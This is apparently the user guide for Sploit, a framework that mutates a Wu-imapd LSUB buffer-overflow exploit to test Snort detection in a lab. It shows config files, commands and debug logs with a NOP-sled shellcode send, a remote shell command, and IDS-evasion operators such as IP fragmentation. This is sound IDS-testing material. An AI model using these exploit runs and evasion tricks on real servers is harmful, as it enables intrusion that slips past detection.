doc/ subdir (containing the documentation) and a
code/ subdir (containing the framework code).sploit.py) and a nice Qt graphical interface
(sploit-gui.py). For the second one, you need to install
the python-qt
libraries.
code/exploits directory. In this guide we assume that
the user just want to execute a pre-existing exploit (if you are
interested in developing your own attack or in translating an exploit
to work with Sploit, please refer to the Developer Guide).Save Configuration button,
use the create-conf command line script, or simply using your favorite
text editor to manually create the text file.
option-name = {
sub-option-1
sub-option-2
....
sub-option-n
}
| Exploit Section | |||
| script | mandatory | single-line |
Tell the engine which python file contains the exploit. It accepts both .py and .pyc files. Example: script = ./exploits/ping_of_death_.py |
| parameters | optional | multi-line |
Set one or more exploit parameter values. Example:
parameters = {
parA = 'this is a string'
parB = 55
}
|
| Factory Section | |||
| script | optional | single-line |
Tell the engine which python file contains the mutant factory code. It accepts both .py and .pyc files. Example: script = /usr/local/sploit/factories/one.py |
| Network Section | |||
| userland_stack | mandatory | single-line |
Enable or disable the userland TCP/IP stack. Possible values are [On] and [Off]. Example: userland_stack = Off |
| target | mandatory | multi-line |
Set the IP address of the target machine. Example:
target = {
ip = 10.10.10.2
}
|
| source | mandatory if the userland stack is enabled. Ignored otherwise. | multi-line |
Set the IP and MAC address of the fake source machine. Example:
source = {
ip = 10.10.10.2
mac = 44:55:66:77:88:99
}
|
| iface | mandatory if the userland stack is enabled. Ignored otherwise. | single-line |
Set the network interface that will be used to simulate the fake
source machine Example: iface = Eth1 |
prompt> ./cat conf/imap-lsub.cfg
[Exploit]
script = ./exploits/final/imap-lsub.pyc
parameters = {
PASSWD = 'bar'
PLATFORM = 'RedHat 6.2(ZooT) - IMAP4rev1 v12.264'
CMD = 'cat /flag.txt'
USER = 'foo'
RESULT = 'well done'
}
[Network]
iface = vmnet8
userland_stack = False
target = {
ip = 10.10.0.103
}
[Factory]
script = ./factories/OneFactory.pyc
[Operators]
IMAP-CmdSeparator
LongTag = {
LEN = 40
}
IMAPCmd-ChangeCase
WeirdTag = {
CHAR = '\tNOOP' ['\tNOOP', ',.', '"a"', '{12}']
}
LiteralLengthObfuscator
The IMAP-CmdSeparator mutant operator has been selected with the
defaults values. LongTag has been selected with the parameter LEN
equal to 40. And finally, the CHAR parameter of the WeirdTag operator
has been set to "\tNOOP" while the other available values are ",.",
"a", and "{12}".
prompt> ./sploit.py --info conf/imap-lsub.cfg ================================================== Exploit name: Wu-imapd lsub bo Target address: 10.10.0.103 Exploit Parameters: PASSWD = bar PLATFORM = RedHat 6.2(ZooT) - IMAP4rev1 v12.264 CMD = cat /flag.txt USER = foo RESULT = well done ================================================== Mutant Factory: One at the time Number of mutants: 8 ================================================== Mutation space size: 80 Operators: [IMAP Layer] - IMAP-CmdSeparator [IMAP Layer] - LongTag [IMAP Layer] - IMAPCmd-ChangeCase [IMAP Layer] - WeirdTag [IMAP Layer] - LiteralLengthObfuscator ==================================================Using the --info (or just -i) options Sploit prints all the attack details and configurations options. In this case, no mutant are actually executed. Anyway, as you can see, the current mutation factory is going to generate only 8 of the 80 mutants in the mutation space. Most of the configuration file options can be overwritten using some of the command line parameters. For instance, we can change the mutant factory and the target address using:
prompt > ./sploit.py --dest 10.10.10.101 --factory factories/NullFactory.pyc -i conf/imap-lsub.cfg ================================================== Exploit name: Wu-imapd lsub bo Target address: 10.10.10.101 Exploit Parameters: PASSWD = bar PLATFORM = RedHat 6.2(ZooT) - IMAP4rev1 v12.264 CMD = cat /flag.txt USER = foo RESULT = well done ================================================== Mutant Factory: Null Factory Number of mutants: 1 ================================================== Mutation space size: 80 Operators: [IMAP Layer] - IMAP-CmdSeparator [IMAP Layer] - LongTag [IMAP Layer] - IMAPCmd-ChangeCase [IMAP Layer] - WeirdTag [IMAP Layer] - LiteralLengthObfuscator ==================================================Ok, now it is time to execute the mutants against the target and see what happens.
prompt > ./sploit.py -r 0 conf/imap-lsub.cfg Mutant 0 (0/1) --> OKThe -r parameter followed by a number N tells the engine to execute the mutant number N. It is possible to launch all the mutant (using -r all) or just a subset of them specifying a range of values:
prompt > ./sploit.py -r 0:2 conf/imap-lsub.cfg Mutant 0 (1/3) --> OK Mutant 1 (2/3) --> OK Mutant 2 (3/3) --> OKFor each attack, Sploit prints the execution results and saves all the other details in a log file. By default, Sploit create a directory using the execution time-stamp in the current directory and place inside it a log file for each mutant. It is possible to change the root log directory using the --log option:
prompt > ./sploit.py --log ./logs/ -r 0:2 conf/imap-lsub.cfg
Mutant 0 (1/3) --> OK
Mutant 1 (2/3) --> OK
Mutant 2 (3/3) --> OK
prompt > ls logs/25-Sep-2005_14.14.12/
0.log 1.log 2.log
prompt > cat logs/25-Sep-2005_14.14.12/1.log
Mutant #1
TCP Port: 2001
Execution Date: Thu, 25 Sep 2005 12:14:15
Execution Time: 2
Attack Result: 1
-------------------[ Mutant Operators ]--------------------
o LongTag
LEN = 40
----------------------[ Log Messages ]----------------------
The log files contain the mutant details, including the list of mutant
operators with their parameters, and all the log messages generated
during the attack execution. In the previous case the log section is
empty because the default threshold is very high (only the error
message are logged)
prompt > ./sploit.py -v DEBUG --log ./logs/ -r 0:2 conf/imap-lsub.cfg
-[ENGINE]--[DEBUG]--------[Thu, 29 Sep 2005 12:41:13]-
Mutant Factory sets to: NullFactory.NullFactory
-[OP-MANAGER]--[INFO]--------[Thu, 29 Sep 2005 12:41:13]-
24 mutant operators loaded
-[ENGINE]--[INFO]--------[Thu, 29 Sep 2005 12:41:13]-
Loading configuration from file conf/nuovo2.cfg
-[ENGINE]--[INFO]--------[Thu, 29 Sep 2005 12:41:13]-
./exploits/final/imap-lsub.pyc
exploit loaded
-[ENGINE]--[INFO]--------[Thu, 29 Sep 2005 12:41:13]-
Target host: 10.10.0.103
-[ENGINE]--[DEBUG]--------[Thu, 29 Sep 2005 12:41:13]-
Mutant Factory sets to: OneFactory.OneAtTheTimeFactory
-[ENGINE]--[INFO]--------[Thu, 29 Sep 2005 12:41:13]-
Target host: 10.10.0.103
Mutant 0 (0/3) -->
-[ENGINE]--[INFO]--------[Thu, 29 Sep 2005 12:41:13]-
Starting execution of imap-lsub.ImapLSUB instance at 0xb7b17a6c
(mutants from 0 to 3)
OK
Mutant 1 (2/3) --> OK
Mutant 2 (3/3) --> OK
prompt > cat logs/29-Sep-2005_14.14.12/1.log
Mutant #1
TCP Port: 2001
Execution Date: Thu, 29 Sep 2005 12:41:15
Execution Time: 2
Attack Result: 1
-------------------[ Mutant Operators ]--------------------
o LongTag
LEN = 40
----------------------[ Log Messages ]----------------------
-[ENGINE]--[INFO]--------[Thu, 29 Sep 2005 12:41:15]-
Setting up mutant # 1
-[ENGINE]--[DEBUG]--------[Thu, 29 Sep 2005 12:41:15]-
1 mutant operators selected
-[ENGINE]--[INFO]--------[Thu, 29 Sep 2005 12:41:15]-
Starting mutant execution (attempt 0)
-[EXPLOIT]--[INFO]--------[Thu, 29 Sep 2005 12:41:15]-
Sending login...
-[IMAP]--[INFO]--------[Thu, 29 Sep 2005 12:41:15]-
Open Connection to port 143
-[Socket (python tcp)]--[DEBUG]--------[Thu, 29 Sep 2005 12:41:15]-
connected to 10.10.0.103 port 143
-[IMAP]--[INFO]--------[Thu, 29 Sep 2005 12:41:15]-
Banner: * OK [10.10.0.103] IMAP4rev1 v12.264 server ready
-[IMAP]--[INFO]--------[Thu, 29 Sep 2005 12:41:15]-
Apply Imap Filters
-[IMAP]--[DEBUG]--------[Thu, 29 Sep 2005 12:41:15]-
Sending...a2xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx LOGIN foo bar
-[EXPLOIT]--[INFO]--------[Thu, 29 Sep 2005 12:41:15]-
Logged-in.
Sending the shellcode...
-[IMAP]--[INFO]--------[Thu, 29 Sep 2005 12:41:15]-
Apply Imap Filters
-[IMAP]--[DEBUG]--------[Thu, 29 Sep 2005 12:41:15]-
Sending...a3xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx LSUB "" {1064}
-[EXPLOIT]--[INFO]--------[Thu, 29 Sep 2005 12:41:15]-
Resp: + Ready for argument
-[EXPLOIT]--[INFO]--------[Thu, 29 Sep 2005 12:41:15]-
Sending shellcode...
-[EGG]--[INFO]--------[Thu, 29 Sep 2005 12:41:15]-
Base Egg: 919 nops - 45 shellcode len - 25 return address
-[EGG]--[INFO]--------[Thu, 29 Sep 2005 12:41:15]-
Appling EGG Filters...
-[EGG]--[DEBUG]--------[Thu, 29 Sep 2005 12:41:15]-
NOP:
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
-[IMAP]--[DEBUG]--------[Thu, 29 Sep 2005 12:41:15]-
Sending 1064 byte of raw data
-[IMAP]--[DEBUG]--------[Thu, 29 Sep 2005 12:41:15]-
Sending 1 byte of raw data
-[IMAP]--[DEBUG]--------[Thu, 29 Sep 2005 12:41:15]-
Sending 1 byte of raw data
-[EXPLOIT]--[INFO]--------[Thu, 29 Sep 2005 12:41:17]-
Sending shell command: cat /flag.txt
-[IMAP]--[DEBUG]--------[Thu, 29 Sep 2005 12:41:17]-
Sending 14 byte of raw data
-[EXPLOIT]--[DEBUG]--------[Thu, 29 Sep 2005 12:41:17]-
Response:
' well done'
-[ENGINE]--[INFO]--------[Thu, 29 Sep 2005 12:41:17]-
Mutant execution terminated
Starting oracle interrogation...
-[ENGINE]--[INFO]--------[Thu, 29 Sep 2005 12:41:17]-
Oracle result 1
Nice. Now we have all the information about every action performed
during the attack. Each log message is preceded by an header that
contains the log source, the log level and the time-stamp. It is also
possible to set different verbosity level for different sources. For
instance, if we are not interested in the messages generated by the
engine but we want to log everything else we can use: -v DEBUG -v
ENGINE:ERROR.
prompt > ./sploit.py conf/imap-lsub.cfg -r 0:2 --log ./logs/ --collector collectors/snort-local.pycAfter the execution, the log directory contains some new files. For each mutant there is a .snort file that contains the alert generated by snort during the execution. If for some reason the alert collector find some alerts that it is not able to correctly correlate to a particular mutant, it places such messages in a file named uncorrelated.snort.
prompt > cat logs/29-Sep-2005_15.17.19/0.Snort [**] [1:1902:9] IMAP lsub literal overflow attempt [**] [Classification: Misc Attack] [Priority: 2] 09/29-15:17:19.790286 10.10.0.1:2000 -> 10.10.0.103:143 TCP TTL:64 TOS:0x0 ID:36725 IpLen:20 DgmLen:71 DF ***AP*** Seq: 0x26DE9019 Ack: 0x967F4752 Win: 0x5B4 TcpLen: 32 TCP Options (3) => NOP NOP TS: 17047462 614922 [Xref => http://cgi.nessus.org/plugins/dump.php3?id=10374][Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=2000-0284][Xref => http://www.securityfocus.com/bid/1110]Finally, suppose you want to execute the same attack fragmenting the IP packets in chunks of forty bytes each. First of all you need to enable the userspace TCP/IP stack, changing the [Network] section in the configuration file:
[Network]
iface = vmnet8
userland_stack = True
target = {
ip = 10.10.0.103
mac = 00:0C:29:6E:D0:F9
}
source = {
ip = 10.10.0.107
mac = 00:AA:BB:CC:11:A0
}
The source block defines the virtual host parameters.
When the userspace stack is enabled, Sploit needs to be able to
control every single packets sent or received by the exploit script.
This would not be possible due to conflicts with the operating
system network stack. In order to avoid the problem, Sploit simulates
a phantom host with IP address 10.10.0.107 (that must be an unused
address to avoid collisions) and MAC address 00:AA:BB:CC:11:A0. Of
course, creating and managing the virtual host requires root
privileges on the attacker machines. IpFragmenter mutant operator in the
[Operator] section:
[Operators]
IPFragmenter = {
size = 40
}
And now you can execute Sploit from a root prompt:
root prompt > ./sploit.py --log ./logs/ -r 0 conf/imap-lsub.cfgImportant Note: if you execute multiple time in a row the same exploit, to avoid possible conflicts you need to change the TCP port used to initiate the connection (by default it starts from 2000). The source port can be set through the
--port option
(it is also possible to tell the engine to choose any time a random number
using --port random)